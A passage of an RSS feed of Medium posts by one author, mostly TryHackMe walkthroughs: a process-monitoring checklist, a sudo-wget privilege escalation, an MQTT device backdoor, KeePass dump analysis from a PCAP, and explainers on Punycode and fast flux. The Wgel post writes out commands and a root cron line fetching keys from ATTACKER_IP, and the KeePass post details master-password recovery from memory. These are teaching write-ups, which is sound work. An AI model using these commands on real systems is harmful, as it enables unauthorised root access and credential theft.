reliably.</p><h3>Practical methodology — checklist you can follow on each box</h3><ol><li><strong>Static search:</strong> grep for the script name and directory across /etc, /var, and /root</li></ol><pre>grep -R --line-number &quot;planner.sh\|startup_list.txt&quot; /etc /var /root 2&gt;/dev/null || true</pre><ol><li><strong>Search cron &amp; systemd:</strong> check crontabs and systemd timers (commands above).</li><li><strong>Check usual startup scripts:</strong> inspect /etc/init.d/, /etc/rc.local, web server config (e.g., /var/www).</li><li><strong>Run pspy64 and wait:</strong> let it run for 2–3 minutes and watch for CMD: lines that show the script being executed. Save output.</li></ol><pre>wget -qO /tmp/pspy64 https://github.com/DominicBreuker/pspy/releases/latest/download/pspy64<br>chmod +x /tmp/pspy64<br>/tmp/pspy64 &gt; /tmp/pspy.log &amp;<br>sleep 130<br>grep -i &quot;planner.sh&quot; /tmp/pspy.log -n</pre><ol><li><strong>Inspect the parent:</strong> with the PID from pspy run:</li></ol><pre>ps -fp &lt;PID&gt;<br>ps -o pid,ppid,cmd -p &lt;parentPID&gt;</pre><ol><li><strong>If parent is cron/systemd:</strong> inspect the relevant crontab or unit file and you’re done.</li><li><strong>If parent is a custom binary:</strong> inspect that binary’s config files (common places: /etc/&lt;service&gt;, /opt/&lt;tool&gt;, /usr/local/bin) or systemd unit name for that service.</li><li><strong>If you can’t run pspy64:</strong> use continuous ps snapshots or inotifywait on the script directory to catch open/write events — slower and more painful but sometimes works.</li></ol><h3>Why ps, top, systemctl, crontab etc. can miss the trigger</h3><ul><li>ps, top, htop show a <em>snapshot</em> of currently running processes. If a process starts and exits between two snapshots you never see it. If a job runs every minute and lasts &lt;1s, you&#39;re unlikely to catch it manually.</li><li>systemctl list-timers and crontab show scheduled timers and cron entries, but not every periodic task is scheduled by cron/systemd:</li></ul><ol><li>custom daemons (scanners) may internally run commands on a schedule</li><li>third-party software may spawn helper processes</li><li>ephemeral tasks could be generated dynamically and not be present in unit files</li></ol><ul><li>grep across /etc and /var can find static references but not dynamically generated invocations or binaries that run commands without referencing file paths in config files.</li><li>lsof/fuser show <em>open files</em> for a running process — you need the PID at the right moment.</li><li>auditd would give guaranteed answers but requires root to set up.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7509ac74b4f3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Wget for Privelege Escalation — Wgel CTF (THM walkthrough)]]></title>
            <link>https://medium.com/@sushanth8787/wget-for-privelege-escalation-wgel-ctf-thm-walkthrough-01c5b6572c49?source=rss-875bcb12b43b------2</link>
            <guid isPermaLink="false">https://medium.com/p/01c5b6572c49</guid>
            <category><![CDATA[ssh]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[linux]]></category>
            <dc:creator><![CDATA[Sadineni Sai Sushanth]]></dc:creator>
            <pubDate>Wed, 01 Oct 2025 10:46:15 GMT</pubDate>
            <atom:updated>2025-10-01T10:46:15.095Z</atom:updated>
            <content:encoded><![CDATA[<h3>Wget for Privelege Escalation — Wgel CTF (THM walkthrough)</h3><p>If an unprivileged user can run /usr/bin/wget as <strong>root</strong> (e.g. sudo /usr/bin/wget …), you can abuse that to get root access by having wget (running as root) write files for you — most commonly: drop an SSH public key into root’s ~/.ssh/authorized_keys or drop a cron job into /etc/cron.d/ that runs commands as root. Because wget runs <em>as root</em>, any files it writes are owned by root — you don’t need other privileged commands.</p><h3>Quick SSH key primer (2 lines)</h3><ul><li>An <strong>SSH keypair</strong> consists of a <strong>private key</strong> (keep secret) and a <strong>public key</strong> (shared to servers you want to access).</li><li>Adding your <strong>public key</strong> to /root/.ssh/authorized_keys lets you SSH in as root without a password (if SSH permits root key auth).</li></ul><h3>Why wget is powerful when allowed under sudo</h3><ul><li>wget downloads content and writes files with the permissions of the user running it. If run via sudo, files are written as <strong>root</strong>.</li><li>If /root/.ssh exists, sudo wget URL -O /root/.ssh/authorized_keys could immediately allow SSH login.</li><li>If /root/.ssh does <strong>not</strong> exist, wget alone cannot create intermediate directories. But you can use wget to write a cron file in /etc/cron.d/ (root-writable by wget) which then executes commands as root — that cron entry can create /root/.ssh, fetch your key, and set permissions.</li></ul><h3>Two compact exploit paths (exact commands)</h3><blockquote><em>Replace </em><em>ATTACKER_IP with your machine IP and </em><em>8000 with the port you use. On attacker, </em><em>id_ed25519.pub is your public key file.</em></blockquote><h3>Option 1 — direct authorized_keys (fast when /root/.ssh exists)</h3><p><strong>Attacker</strong>:</p><pre># Serve your public key<br>python3 -m http.server 8000<br># (Ensure id_ed25519.pub is in this directory)</pre><p><strong>Target (as victim user </strong><strong>jessie)</strong>:</p><pre># Write the file as root (since sudo allows wget)<br>sudo /usr/bin/wget http://ATTACKER_IP:8000/id_ed25519.pub -O /root/.ssh/authorized_keys<br># check<br>sudo ls -la /root/.ssh /root/.ssh/authorized_keys</pre><p><strong>From attacker</strong>:</p><pre>ssh -i ~/.ssh/id_ed25519 root@TARGET_IP</pre><p>If /root/.ssh is missing, the wget -O /root/.ssh/authorized_keys will fail (No such file or directory). Move to Option 2.</p><h3>Option 2 — cron-based creation + fetch (works when /root/.ssh is missing)</h3><p><strong>Create cron file on attacker</strong> pwn.cron with this single line (must follow cron format):</p><pre>* * * * * root bash -lc &#39;mkdir -p /root/.ssh &amp;&amp; /usr/bin/wget -q http://ATTACKER_IP:8000/id_ed25519.pub -O /root/.ssh/authorized_keys &amp;&amp; chmod 700 /root/.ssh &amp;&amp; chmod 600 /root/.ssh/authorized_keys&#39;</pre><p><strong>Attacker</strong>:</p><pre># Put pwn.cron and id_ed25519.pub in same folder<br>python3 -m http.server 8000</pre><p><strong>Target (as victim user </strong><strong>jessie)</strong>:</p><pre># write cron file as root (via sudo wget)<br>sudo /usr/bin/wget http://ATTACKER_IP:8000/pwn.cron -O /etc/cron.d/pwn<br># wait up to 60s for cron to execute<br># verify as soon as possible<br>sudo ls -la /root/.ssh /root/.ssh/authorized_keys</pre><p><strong>From attacker</strong>:</p><pre>ssh -i ~/.ssh/id_ed25519 root@TARGET_IP</pre><p>Notes:</p><ul><li>Cron runs the job as root (the user field in the cron line is root) — so the commands in the cron line run with full root privileges.</li><li>If you prefer a reverse-shell cron instead of an authorized_key approach, you can place a cron entry that connects back to your listener (careful, some networks block outbound connections).</li></ul><h3>Where cron jobs live (the usual locations)</h3><ul><li>/etc/crontab — system-wide crontab; lines include a <strong>user</strong> field (root runs most jobs). Only root normally edits this.</li><li>/etc/cron.d/ — directory where each file is a crontab-like file <strong>that must include a user field</strong> (e.g. * * * * * root command). Any file here is treated as a cron job file. Only root normally creates/modifies files here.</li><li>User crontabs: crontab -e (per-user jobs stored typically in /var/spool/cron/crontabs/&lt;user&gt;). Users can edit <em>their own</em> crontab with crontab -e (no user field inside those files).</li><li>/etc/cron.hourly, /etc/cron.daily, /etc/cron.weekly, /etc/cron.monthly — drop executable scripts here to run at those regular intervals (root-managed directories).</li></ul><h3>Key differences &amp; why /etc/cron.d/pwn worked for you</h3><ul><li>Files in /etc/cron.d/ must include a user field. Example:</li></ul><p>* * * * * root /path/to/command</p><ul><li>Cron runs the command as the root user (so any actions in that command run with root privileges).</li><li>Only root (or a user with write permission to /etc/cron.d/) can create a file there. In your case sudo /usr/bin/wget ... -O /etc/cron.d/pwn wrote the file <strong>as root</strong>, so cron executed it as root and the commands inside ran with root privileges. That’s why the trick works: you used the allowed sudo wget to create a root-owned cron job that performs privileged operations.</li></ul><h3>Who can modify cron?</h3><ul><li><strong>Only root</strong> (or users with sudo that allow editing those specific files) can edit system cron files like /etc/crontab, /etc/cron.d/*, or put scripts in /etc/cron.* directories.</li><li><strong>Any user</strong> may edit <em>their own</em> crontab via crontab -e (and those entries will run as <em>that user</em>). They cannot create system cron jobs without root.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=01c5b6572c49" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[MQTT (Mosquitto) — Bugged TryHackMe (walkthrough)]]></title>
            <link>https://medium.com/@sushanth8787/mqtt-mosquitto-bugged-tryhackme-walkthrough-b39d49e0cf9e?source=rss-875bcb12b43b------2</link>
            <guid isPermaLink="false">https://medium.com/p/b39d49e0cf9e</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[mqtt]]></category>
            <category><![CDATA[mosquitto-mqtt]]></category>
            <category><![CDATA[iot-security]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <dc:creator><![CDATA[Sadineni Sai Sushanth]]></dc:creator>
            <pubDate>Tue, 30 Sep 2025 17:08:57 GMT</pubDate>
            <atom:updated>2025-09-30T17:08:57.602Z</atom:updated>
            <content:encoded><![CDATA[<h3>MQTT (Mosquitto) — Bugged TryHackMe (walkthrough)</h3><h3>1. Brief summary (one-paragraph)</h3><p>Found an exposed Mosquitto (MQTT) broker. Subscribing to # returned retained messages; one payload was base64-encoded JSON revealing a device id, pub_topic, sub_topic and registered_commands (HELP, CMD, SYS). By subscribing to the device pub_topic and publishing correctly formatted base64 JSON to the device sub_topic, the device accepted commands (RUN shell commands via CMD) and returned base64-encoded responses — using this allowed reading the flag.</p><h3>2. Core MQTT concepts (must-know)</h3><ul><li><strong>Broker</strong>: central server that routes messages between clients (Mosquitto is a popular broker). Brokers can be local or remote (internet/cloud).</li><li><strong>Client</strong>: device/app that connects to the broker and publishes/subscribes.</li><li><strong>Publish / Subscribe</strong>: publish to a topic; subscribers to that topic receive messages.</li><li><strong>Topic</strong>: hierarchical label (e.g. home/kitchen/toaster) — like folders but only a naming convention.</li><li><strong>Wildcards</strong>: # subscribes to all topics; + matches a single level.</li><li><strong>Retained messages</strong>: broker stores the last message for a topic and delivers it immediately to new subscribers — very useful for discovery in CTFs.</li><li><strong>$SYS/</strong>: broker-internal topics exposing status, uptime, clients, number of stored messages, etc.</li><li><strong>MQTT plaintext vs TLS</strong>: 1883 is unencrypted — CONNECT packets and payloads (unless encrypted by the app) can be sniffed. 8883 is MQTT over TLS.</li></ul><h3>3. What you saw (interpreting results)</h3><ul><li>$SYS/# output told you: broker version (Mosquitto 2.0.14), uptime, clients (3 total, 2 connected), and stored messages (~35). This indicated active devices and likely retained messages.</li><li>Subscribing to # gave many topic messages (toasters, thermostats, camera telemetry) and one long base64 string.</li><li>Decoding that base64 revealed JSON: {id, registered_commands, pub_topic, sub_topic} — the device control API.</li></ul><h3>4. The backdoor API pattern (observed)</h3><p>The device expected <strong>base64</strong> encoded JSON with fields:</p><pre>{&quot;id&quot;:&quot;&lt;device-id&gt;&quot;, &quot;cmd&quot;:&quot;&lt;HELP|CMD|SYS&gt;&quot;, &quot;arg&quot;:&quot;&lt;argument&gt;&quot;}</pre><ul><li>Publish this base64 payload to the sub_topic.</li><li>Device replies on pub_topic with a base64-encoded JSON containing response (the command output or help text).</li><li>HELP returns usage; SYS returns system info; CMD runs shell commands and returns their output.</li></ul><h3>5. Minimal, high-value commands (cheat-sheet)</h3><p><strong>Subscribe to $SYS</strong></p><pre>mosquitto_sub -h 10.201.101.42 -t &#39;$SYS/#&#39; -v</pre><p><strong>Subscribe to everything (retained + live)</strong></p><pre>mosquitto_sub -h 10.201.101.42 -t &#39;#&#39; -v | tee /tmp/mqtt_all_output.txt</pre><p><strong>Publish base64-encoded JSON (HELP example)</strong></p><pre>echo -n &#39;{&quot;id&quot;:&quot;&lt;id&gt;&quot;,&quot;cmd&quot;:&quot;HELP&quot;,&quot;arg&quot;:&quot;&quot;}&#39; | base64 | \<br>  xargs -I{} mosquitto_pub -h &lt;IP&gt; -t &#39;&lt;sub_topic&gt;&#39; -m {}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*drKzoTBGnwQpGSN5fcEmWQ.png" /><figcaption>subscribed to all topics in the broker server → this way we can listen and read the data published to different topics</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zgdbXQr6BfiDz8xUkor7Pg.png" /><figcaption>subscribed to the topic/channel where the data is published by the attacker</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Cw_Y-LspE634hWXCFzFndA.png" /><figcaption>Published data to the channel subscribed by the attacker, from where the attacker reads the input commands to be executed</figcaption></figure><p>In <strong>MQTT</strong>, the terminology “publish” and “subscribe” is <strong>from the client’s perspective</strong>, and the <strong>topics</strong> define the channels of communication. But in this CTF backdoor setup, the roles are a bit inverted because of how the backdoor is designed:</p><ol><li><strong>The IoT “backdoor” acts like a client that listens for commands</strong> on a topic (the <strong>sub topic</strong>) and <strong>publishes responses</strong> on another topic (the <strong>pub topic</strong>).</li><li><strong>You as the attacker or tester</strong> interact with it as a client:</li></ol><ul><li>You <strong>publish messages to the topic where the backdoor subscribes</strong> (so it receives your commands).</li></ul><pre>mosquitto_pub -h 10.201.101.42 -t &#39;XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub&#39; -m &#39;//message to be published//&#39;</pre><ul><li>You <strong>subscribe to the topic where the backdoor publishes</strong> (so you can see its responses).</li></ul><pre>mosquitto_sub -h 10.201.101.42 -t &#39;U4vyqNlQtf/0vozmaZyLT/15H9TF6CHg/pub&#39; </pre><p>So in your case:</p><ul><li>sub_topic in the backdoor JSON = <strong>where the backdoor expects commands</strong> → <strong>you publish here</strong>.</li><li>pub_topic in the backdoor JSON = <strong>where the backdoor sends responses</strong> → <strong>you subscribe here</strong>.</li></ul><p>If you did it the “other way around” (publish to pub, subscribe to sub), nothing would happen because the backdoor <strong>isn’t listening on that channel</strong>.</p><p>✅ <strong>Key takeaway:</strong> Always pay attention to which topic the backdoor is subscribing to vs publishing from — your client’s subscribe/publish roles are “mirrored” relative to the backdoor’s behavior.</p><h3>6. Step-by-step process you followed (succinct)</h3><ol><li>nmap -A discovered only SSH. Extended UDP and TCP scanning revealed MQTT on 1883.</li><li>Subscribed to $SYS/# — extracted broker metadata and number of stored messages.</li><li>Subscribed to # (all topics) and observed retained messages; located a base64 payload.</li><li>Decoded base64 → JSON; discovered pub_topic, sub_topic, id, and registered_commands.</li><li>Subscribed to pub_topic and published correctly formatted base64 JSON to sub_topic (tested HELP, SYS).</li><li>Using CMD, executed controlled shell commands (id, ls, then cat /path/to/flag) and retrieved the flag in the base64-encoded response.</li></ol><h3>7. Key learnings &amp; takeaways</h3><ul><li><strong>Retained messages + # subscription = quick wins</strong>: always subscribe first — retained messages often contain config or secrets.</li><li><strong>$SYS is reconnaissance gold</strong>: use it early to learn broker state and client counts.</li><li><strong>Plaintext protocols leak creds</strong>: unencrypted MQTT allows easy credential discovery via packet capture.</li><li><strong>APIs hidden in retained messages</strong>: watch for JSON/config blobs — they often include topics, commands, tokens.</li><li><strong>Subscribe before publish</strong>: to ensure you capture replies, always subscribe to the device pub_topic before sending commands.</li><li><strong>Start non-destructive</strong>: HELP and SYS reveal capabilities safely; CMD is powerful — probe carefully.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b39d49e0cf9e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Extracted(TryHackMe walkthrough)]]></title>
            <link>https://medium.com/@sushanth8787/extracted-tryhackme-walkthrough-564f9fe9ed0f?source=rss-875bcb12b43b------2</link>
            <guid isPermaLink="false">https://medium.com/p/564f9fe9ed0f</guid>
            <category><![CDATA[pcap-analysis]]></category>
            <category><![CDATA[wireshark]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <dc:creator><![CDATA[Sadineni Sai Sushanth]]></dc:creator>
            <pubDate>Sat, 27 Sep 2025 13:01:30 GMT</pubDate>
            <atom:updated>2025-09-27T13:05:43.185Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Short summary:</strong> I started with a PCAP, found a PowerShell payload being delivered, recovered an exfiltrated KeePass database (.kdbx) and a KeePass process minidump, parsed the dump for the master password, reconstructed a missing character, and opened the database to reveal the flag. This post documents my steps, tools, lessons, and commands so you can reproduce and learn.</p><h3>TL;DR (one-liner)</h3><p>Found PowerShell in the HTTP request → downloaded *.ps1 payload → extracted exfiltrated files from PCAP → decode + XOR → recovered KeePass .kdbx and keepprocess.dmp → used dump-parsing tools → obtained master password → opened DB with keepassxc-cli → retrieved flag.</p><h3>Step 1 — Spotting the PowerShell delivery (Wireshark)</h3><p>Open the capture in Wireshark and inspect HTTP traffic:</p><pre>GET /xxxmmdcclxxxiv.ps1 HTTP/1.1<br>User-Agent: ... WindowsPowerShell/5.1...<br>Host: 10.10.94.106:1339</pre><p>This indicates a PS1 being served.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pK80HuwXLuek2UavPwpwEA.png" /></figure><h3>Step 2 — Read the PS1 payload</h3><p>Key observations from the PS1:</p><ul><li>Locates KeePass process. If found, creates a process dump and XORs the dump bytes with 0x41, base64-encodes, then sends to 10.10.94.106:1337.</li><li>Also XORs Database1337.kdbx with 0x42, base64-encodes and sends to 10.10.94.106:1338.</li></ul><p>This tells you exactly what to look for in the PCAP: TCP streams on ports 1337 and 1338.</p><h3>Step 3 — Extract the TCP streams from the PCAP</h3><p>Using Wireshark GUI: right-click packet → Follow → TCP Stream → choose <strong>Raw</strong> → Save as the file name.<br> Alternatively CLI using tshark:</p><pre># extract hex payloads for port 1338 (DB)<br>tshark -r capture.pcapng -Y &quot;tcp.port == 1338&quot; -T fields -e tcp.payload | tr -d &#39;\n&#39; &gt; combined_hex_1338.txt<br>xxd -r -p combined_hex_1338.txt &gt; stream_1338.raw</pre><p><strong>Important:</strong> use Follow TCP Stream → Raw when possible; it&#39;s less error-prone.</p><h3>Step 4 — Convert → base64-decode → XOR</h3><p>The python scriptto go from combined hex to recovered DB (port 1338, XOR 0x42 ;port 1337, XOR 0x41) is:</p><pre>#!/usr/bin/env python3<br>import sys, base64<br><br>def recover(infile, outfile, xor_key):<br>    data = open(infile, &#39;rb&#39;).read()<br><br>    # If file contains ASCII base64 text, decode directly; else try to strip nulls/newlines<br>    try:<br>        # try decode as ASCII text first (strip whitespace)<br>        b64txt = data.decode(&#39;ascii&#39;, errors=&#39;ignore&#39;).strip()<br>        decoded = base64.b64decode(b64txt)<br>    except Exception:<br>        # fallback: maybe data is raw bytes of ASCII base64 anyway<br>        try:<br>            decoded = base64.b64decode(data)<br>        except Exception as e:<br>            raise RuntimeError(&quot;Failed to base64-decode input: &quot; + str(e))<br><br>    # XOR with key<br>    key = xor_key<br>    recovered = bytes([b ^ key for b in decoded])<br><br>    open(outfile, &#39;wb&#39;).write(recovered)<br>    print(f&quot;Wrote {len(recovered)} bytes to {outfile}&quot;)<br><br>if __name__ == &quot;__main__&quot;:<br>    if len(sys.argv) != 4:<br>        print(&quot;Usage: recover.py &lt;input_raw_stream&gt; &lt;output_file&gt; &lt;xor_key_hex&gt;&quot;)<br>        print(&quot;Example: recover.py stream_1337.raw keepprocess.dmp 0x41&quot;)<br>        sys.exit(1)<br>    infile = sys.argv[1]<br>    outfile = sys.argv[2]<br>    xor_key = int(sys.argv[3], 0)<br>    recover(infile, outfile, xor_key)</pre><h3>Step 5 — Confirm files &amp; quick inspection</h3><p>Check file types and look for known headers:</p><pre>file Database1337.kdbx<br>file keepprocess.dmp<br>strings keepprocess.dmp | head<br>strings -el keepprocess.dmp | head   # UTF-16LE strings</pre><p>keepprocess.dmp should show Mini DUMP and references to KeePass PDBs — this confirms success.</p><h3>KeePass — quick notes</h3><p><strong>What is KeePass</strong></p><ul><li>KeePass is a popular <strong>third-party, open-source password manager</strong> (desktop app / portable) — it is <strong>not</strong> built into Windows.</li><li>Users store many credentials (website logins, SSH/passphrases, DB passwords, API keys, notes) inside a single encrypted vault file.</li></ul><p><strong>What is a </strong><strong>.kdbx</strong></p><ul><li>.kdbx = KeePass database file (KeePass 2.x format).</li><li>The file contains all saved entries encrypted; access requires the <strong>master password</strong> (and optionally a keyfile or other composite key).</li></ul><p><strong>Master password / composite key</strong></p><ul><li>The <strong>master password</strong> is the primary secret that decrypts the .kdbx.</li><li>KeePass can use a composite key: master password + keyfile + (sometimes) Windows account protection. All components must be present to open the DB.</li></ul><p><strong>Why an attacker cares about both the DB and process memory</strong></p><ul><li>The .kdbx on disk is <strong>encrypted</strong> — stealing it alone requires cracking the master password offline (expensive or impossible for strong passwords).</li><li>While KeePass is <strong>unlocked</strong>, the application holds decrypted key material and password strings <strong>in memory</strong> (often as UTF-16LE).</li><li>If an attacker obtains a <strong>minidump / process memory</strong> of the running KeePass process, they may find the <strong>master password or decrypted keys</strong> in plaintext or reconstructable form.</li></ul><p><strong>Typical attack flow (seen in this lab)</strong></p><ol><li>Drop/run a PowerShell payload that: creates a KeePass process dump and reads the .kdbx.</li><li>XOR + Base64 encode those artifacts and exfiltrate them over the network.</li><li>Attacker receives both the encrypted DB (.kdbx) and the process dump → parse the dump for candidate master passwords → use the recovered password to open the .kdbx and extract stored credentials.</li></ol><p><strong>Why memory extraction is effective</strong></p><ul><li>Programs must handle plaintext secrets briefly (unlocking, UI, clipboard). Those values can persist in process memory or temporary buffers.</li><li>Minidumps capture portions of process memory including strings and key material, making reconstruction feasible.</li></ul><h3>Step 6 — Extract candidate passwords from the minidump</h3><p>Passwords often appear as <strong>UTF-16LE</strong> strings in Windows process memory. Rather than blindly strings, use a targeted extractor that ranks candidates:</p><p><strong>use community tools</strong> (recommended for automation):</p><ul><li>keepass-dump-masterkey, keepass-dump-extractor, or <strong>KeePwn</strong> — these parse a dump for KeePass keys and produce candidate master passwords. Example:</li></ul><pre>git clone https://github.com/matro7sh/keepass-dump-masterkey.git<br>cd keepass-dump-masterkey<br>python3 poc.py ../keepprocess.dmp</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/1*qZAIN4DYwSVOZHcVOuT6hg.png" /></figure><h3>Step 7 — Resolve unknown placeholder(s)</h3><p>Some tools print a non-renderable character (●) for bytes they couldn’t reconstruct. Generate a short wordlist substituting the first character with likely options (common punctuation, digits, letters), then try cracking the DB hash.</p><p>Example script (generate candidates replacing ● in the printed candidate):</p><pre># generate candidates_firstpos.txt<br>python3 - &lt;&lt;&#39;PY&#39;<br>import string<br>base = &quot;●NoWaYIcanF0rGetThis123&quot;<br>cands = list(string.ascii_letters + string.digits + string.punctuation)<br>open(&quot;candidates_firstpos.txt&quot;,&quot;w&quot;).write(&quot;\n&quot;.join(base.replace(&quot;●&quot;,c,1) for c in cands)+&quot;\n&quot;)<br>print(&quot;wrote candidates_firstpos.txt&quot;)<br>PY</pre><p>Convert .kdbx to a john hash and test:</p><pre>keepass2john Database1337.kdbx &gt; db.hash<br>john --wordlist=candidates_firstpos.txt db.hash<br>john --show db.hash</pre><p>That’s how I found the password</p><h3>Step 8 — Open the database</h3><p>CLI: keepassxc-cli</p><pre>sudo apt install keepassxc<br>keepassxc-cli ls Database1337.kdbx<br>keepassxc-cli show Database1337.kdbx &quot;You win!&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/634/1*jT4hyeUHHp4-bICQfQWh4g.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=564f9fe9ed0f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Anatomy of an Attack: From Deceptive URLs to Similarity Hashing]]></title>
            <link>https://medium.com/@sushanth8787/the-anatomy-of-an-attack-from-deceptive-urls-to-similarity-hashing-49aa9c24a555?source=rss-875bcb12b43b------2</link>
            <guid isPermaLink="false">https://medium.com/p/49aa9c24a555</guid>
            <category><![CDATA[stealth]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cyber-defense]]></category>
            <category><![CDATA[fuzzy-hashing]]></category>
            <category><![CDATA[punycode]]></category>
            <dc:creator><![CDATA[Sadineni Sai Sushanth]]></dc:creator>
            <pubDate>Wed, 24 Sep 2025 10:35:55 GMT</pubDate>
            <atom:updated>2025-09-24T10:35:55.787Z</atom:updated>
            <content:encoded><![CDATA[<p>In the world of cybersecurity, the battle between attackers and defenders is a constant game of cat and mouse. Attackers use clever tricks to deceive and infiltrate, while defenders use intelligent tools to detect and analyze. In this article, we’ll explore two fascinating concepts that represent this struggle: the deceptive <strong>Punycode attack</strong> and the powerful defensive tool known as <strong>fuzzy hashing</strong>.</p><h3>1. The Punycode Attack: The Deceptive URL Trick 🕵️‍♂️</h3><p>Have you ever looked at a website URL and thought it was legitimate, only to find out it was a phishing site? Attackers are masters of deception, and one of their most effective tricks exploits the way web browsers handle different languages.</p><h4>Understanding the Foundation: ASCII vs. Unicode</h4><ul><li><strong>ASCII</strong> is the original, basic standard for computers. It’s like a small dictionary with only English letters (A-Z), numbers, and a few symbols. The internet’s domain name system (DNS) was built on this simple standard.</li><li><strong>Unicode</strong> is the modern, universal standard. It’s a massive dictionary containing characters from virtually every language in the world, including Greek, Cyrillic, and Arabic, as well as emojis.</li></ul><h4>The Deception in Action</h4><p>The <strong>Punycode attack</strong> is a type of <strong>homograph attack</strong> that exploits the visual similarities between characters from different alphabets. An attacker registers a domain name that looks identical to a legitimate one by swapping out a standard letter with a visually similar Unicode character.</p><p>For example, a legitimate brand’s website is https://adidas.de. An attacker might register a domain name using the Turkish &quot;dotless i&quot; (ı) from the Unicode alphabet. The new URL would look like https://adidás.de to a human, but it is actually a completely different domain.</p><h4>How Punycode Enables the Attack</h4><p>Because the internet’s DNS system only understands the old ASCII characters, it needs a way to handle these new Unicode domains. This is where <strong>Punycode</strong> comes in. Punycode is a special encoding that translates Unicode characters into a sequence of ASCII characters.</p><p>The key to identifying a Punycode domain is the prefix xn--. The attacker&#39;s URL adidás.de is actually registered as xn--adids-o4a.de on the DNS.</p><ul><li><strong>Older Browsers:</strong> These browsers might have displayed the full Punycode string (https://xn--adids-o4a.de/) in the address bar. A savvy user might spot the weird characters and know it&#39;s a fake.</li><li><strong>Modern Browsers:</strong> Modern browsers are now “smarter.” They recognize the xn-- prefix and translate the URL back into the human-readable Unicode version (https://adıdás.de). <strong>This is where the vulnerability lies.</strong> The user sees a URL that looks identical to the legitimate one, and they have no easy way of knowing it&#39;s a fraudulent site, making them highly susceptible to phishing.</li></ul><h3>2. Fuzzy Hashing: A Powerful Tool for Defenders 🛡️</h3><p>While attackers are using deceptive visual tricks, defenders are using intelligent analysis tools. <strong>Fuzzy hashing</strong> is one such weapon that helps security teams fight back.</p><h4>Understanding the Concept: Fingerprint vs. Family Resemblance</h4><p>To understand fuzzy hashing, it’s crucial to first understand traditional cryptographic hashing (like SHA-256 or MD5).</p><ul><li><strong>Traditional Hashing</strong> is like a <strong>unique fingerprint</strong>. Even a single-byte change in a file — a single comma or a typo — will produce a completely different, unrecognizable hash value. It’s perfect for verifying that a file is exactly what it’s supposed to be.</li><li><strong>Fuzzy Hashing</strong> is more like a <strong>family resemblance</strong>. It can tell you that two files are similar, even if they have some minor differences. A small change in a file will produce a similar fuzzy hash, making it possible to identify related files.</li></ul><h4>How It Works: Similarity Analysis</h4><p>A popular fuzzy hashing tool is <strong>SSDeep</strong>. It works by breaking a file into chunks and calculating a hash for each chunk. The final fuzzy hash is a composite of these smaller hashes. When you compare two fuzzy hashes, the tool gives you a <strong>similarity score</strong> based on how many of those smaller hashes match.</p><h4>Why It’s a Game-Changer for Security</h4><p>Security professionals use fuzzy hashing for <strong>similarity analysis</strong> to:</p><ul><li><strong>Identify New Malware Variants:</strong> Attackers often create new versions of their malware by making small changes to the code to evade antivirus software. Fuzzy hashing can detect these slightly modified files and identify them as being part of the same malware family.</li><li><strong>Analyze Attacker Toolkits:</strong> A security team can use fuzzy hashing to find other related files on a compromised network, helping them to discover the full extent of an attacker’s tools and tactics.</li></ul><p>In conclusion, both Punycode and fuzzy hashing highlight the complexity of modern cyber warfare. Attackers exploit human perception and system vulnerabilities, while defenders employ sophisticated analytical tools to find the connections and patterns that an attacker hopes to conceal.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=49aa9c24a555" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Understanding Fast Flux: The Cybercriminal’s Moving Target]]></title>
            <link>https://medium.com/@sushanth8787/understanding-fast-flux-the-cybercriminals-moving-target-f6f9e401c979?source=rss-875bcb12b43b------2</link>
            <guid isPermaLink="false">https://medium.com/p/f6f9e401c979</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[fast-flux]]></category>
            <category><![CDATA[anonymity]]></category>
            <category><![CDATA[resilience]]></category>
            <category><![CDATA[dns]]></category>
            <dc:creator><![CDATA[Sadineni Sai Sushanth]]></dc:creator>
            <pubDate>Tue, 23 Sep 2025 03:44:25 GMT</pubDate>
            <atom:updated>2025-09-23T03:44:25.040Z</atom:updated>
            <content:encoded><![CDATA[<p>Fast flux is a sophisticated and deceptive technique used by cybercriminals to cloak their malicious networks. It’s a method for making malicious servers and botnets incredibly resilient to takedowns by rapidly changing their IP addresses. Think of it as a criminal operation that never stays in one place long enough for law enforcement to catch up.</p><h3>How Does It Work? The Abuse of DNS</h3><p>At its core, fast flux is an abuse of the <strong>Domain Name System (DNS)</strong>. In a normal DNS lookup, a domain name is consistently linked to a single, stable IP address. However, fast flux manipulates this process by:</p><ul><li><strong>Rapid IP Rotation</strong>: Attackers register a malicious domain and link it to a massive list of IP addresses. These aren’t the addresses of the attacker’s server, but of compromised machines (<strong>“flux agents”</strong>) that act as proxies.</li><li><strong>Low Time-to-Live (TTL)</strong>: The attackers set an extremely short TTL for the DNS records, often just a few minutes or seconds. This forces DNS resolvers to frequently check for a new IP address, effectively creating a 